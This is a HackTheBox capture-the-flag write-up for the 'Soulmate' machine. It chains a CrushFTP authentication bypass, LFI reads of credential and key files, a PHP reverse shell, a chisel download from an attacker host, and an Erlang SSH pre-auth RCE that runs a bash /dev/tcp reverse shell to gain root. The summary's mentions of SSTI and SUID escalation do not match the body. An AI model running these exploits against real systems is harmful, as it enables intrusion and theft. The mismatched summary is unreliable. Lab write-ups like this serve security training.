# Soulmate Writeup - HackTheBox

> Exploit a Node.js app with SSTI in Handlebars and privilege escalation via a misconfigured SUID binary on an Easy Linux HackTheBox machine.

- **URL:** https://hackindex.io/writeups/soulmate
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/soulmate
- **Tags:** ssti, lfi, authentication-bypass, nodejs, privilege-escalation, suid, cve-2025-32433, cve-2025-54309
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 4 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
# 80/tcp open  http    nginx 1.18.0 (Ubuntu)
# |_http-title: Soulmate - Find Your Perfect Match
```

Add `soulmate.htb` to `/etc/hosts`. Port 80 is a dating web app backed by PHP.

### Virtual Host Enumeration

```bash
gobuster vhost -u soulmate.htb -w /usr/share/wordlists/dirb/big.txt --append-domain --xs 400,301 -t 50
# ftp.soulmate.htb   Status: 302 [--> /WebInterface/login.html]
```

Add `ftp.soulmate.htb` to `/etc/hosts`. The redirect lands on a CrushFTP login page. The JavaScript bundle path `/WebInterface/new-ui/assets/app/components/template2.js?v=11.W.657-2025_03_08_07_52` confirms CrushFTP version 11.

## Initial Access

### CVE-2025-54309 ,  CrushFTP Race Condition Authentication Bypass

CVE-2025-54309 is a race condition in CrushFTP's session handling. By sending two simultaneous requests ,  one with an `AS2-TO: \crushadmin` header and one without ,  there is a timing window where the server briefly treats the unauthenticated session as admin. This allows unauthenticated access to admin API functions including user enumeration and user creation.

First, confirm the target is vulnerable and enumerate existing users:

```bash
python3 CVE-2025-54309.py http://ftp.soulmate.htb
# [*] CRUSHFTP RACE CONDITION POC
# [*] TARGET: http://ftp.soulmate.htb
# [*] ATTACK: 5000 requests with new c2f every 50 requests
# [*] NEW SESSION: c2f=o56w
# [*] EXFILTRATED 5 USERS: ben, crushadmin, default, jenna, TempAccount
# [*] VULNERABLE! RACE CONDITION POSSIBLE!
```

Five users confirmed. Use the user-creation variant to inject a new admin account:

```bash
python3 CVE-2025-54309-2.py http://ftp.soulmate.htb -u htbadmin -p HTBPassword123!
# [+] SUCCESS! User 'htbadmin' created successfully!
# [+] EXPLOITATION COMPLETE!
# [+] Admin user created: htbadmin:HTBPassword123!
```

Log in at `http://ftp.soulmate.htb/WebInterface/` with the newly created admin account.

### LFI via CrushFTP Log Viewer

The CrushFTP admin panel exposes a log viewer endpoint that accepts a `file` parameter with no path restriction:

```
http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/etc/passwd
```

This returns the container's `/etc/passwd`. More usefully, it exposes the CrushFTP SSH host key and the admin passfile:

```
http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/app/CrushFTP11/ssh_host_rsa_key
```

Returns the RSA private key for the CrushFTP Erlang SSH service.

```
http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/app/CrushFTP11/passfile
```

```
$CRUSHFTP_PASSFILE_PASSWORD
```

### FTP Access and PHP Backdoor Upload

With admin access to the CrushFTP web interface, reset the passwords for `ben` and `jenna` to gain FTP access. Using `ben`'s account, navigate the FTP filesystem to the web root directory mapped to `http://soulmate.htb/`. Upload a [PHP reverse shell](https://github.com/pentestmonkey/php-reverse-shell).

Start a listener:

```bash
nc -lvnp $ATTACKER_PORT
```

Trigger the backdoor:

```bash
curl http://soulmate.htb/backdoor3.php
```

Shell lands as `www-data`. Stabilise it:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

### Credential Discovery in Web App Source

With filesystem access, read the web application config:

```bash
cat /var/www/html/config.php
# $adminPassword = password_hash('$ADMIN_PASSWORD', PASSWORD_DEFAULT);
# $adminInsert = $this->pdo->prepare("
#     INSERT INTO users (username, password, is_admin, name)
#     VALUES (?, ?, 1, 'Administrator')
# ");
# $adminInsert->execute(['admin', $adminPassword]);
```

The hardcoded admin password for `soulmate.htb` works on the login page. The application's SQLite database at `../data/soulmate.db` also contains the bcrypt hash for the admin account confirming the same credential.

### SSH as ben

The `create-user-with-ssh.sh` script found in the FTP user directories reveals that SSH users authenticate via key pairs. The LFI already retrieved the CrushFTP container's SSH host key. Cross-referencing `/etc/passwd` from the PHP shell shows `ben` (UID 1000) is the only human user on the host system.

Check for ben's SSH key in his home directory via the PHP shell and connect:

```bash
ssh -i ssh_key ben@$TARGET_IP
```

## Privilege Escalation

### Internal Service Discovery via Chisel

`ss -tulnp` from the shell reveals several internally bound ports:

```bash
ss -tulnp
# 127.0.0.1:2222    # Erlang SSH
# 127.0.0.1:8080
# 127.0.0.1:8443
# 127.0.0.1:9090
```

The host also has Docker bridge interfaces (`172.17.0.1`, `172.18.0.1`, `172.19.0.1`). Set up a SOCKS5 tunnel to reach internal services:

```bash
# Attacker machine
chisel server -p 8001 --socks5 --reverse
```

```bash
# Target machine
curl http://$ATTACKER_IP:8181/chisel -o chisel
chmod +x chisel
./chisel client $ATTACKER_IP:8001 R:socks
```

Probe port 2222:

```bash
nc 127.0.0.1 2222
# SSH-2.0-Erlang/5.2.9
```

Port 2222 runs an Erlang SSH daemon, not OpenSSH.

### CVE-2025-32433 ,  Erlang SSH Unauthenticated RCE

CVE-2025-32433 is a critical vulnerability in the Erlang/OTP SSH implementation. Erlang SSH allows sending channel messages before authentication completes, meaning an attacker can open a session channel and send an `exec` request containing arbitrary Erlang OS commands without any credentials.

```bash
python3 cve-2025-32433.py 127.0.0.1 --shell --lhost $ATTACKER_IP --lport $ATTACKER_PORT -p 2222
# [*] Connecting to target...
# [+] Received banner: SSH-2.0-Erlang/5.2.9
# [+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT; cat <&5 | while read line; do $line 2>&5 >&5; done'").
# [✓] Exploit sent. If vulnerable, command should execute.
# [+] Reverse shell command sent. Check your listener.
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.86] 42632
# whoami
# root
```

Root shell.

Related

## References

- [watchTowr](https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309) - CVE-2025-54309 CrushFTP race condition auth bypass PoC
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-54309) - CVE-2025-54309 CrushFTP authentication bypass
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-32433) - CVE-2025-32433 Erlang/OTP SSH pre-authentication RCE
- [Exploit-DB](https://www.exploit-db.com/exploits/52295) - CrushFTP 11.3.1 Authentication Bypass (CVE-2025-31161)
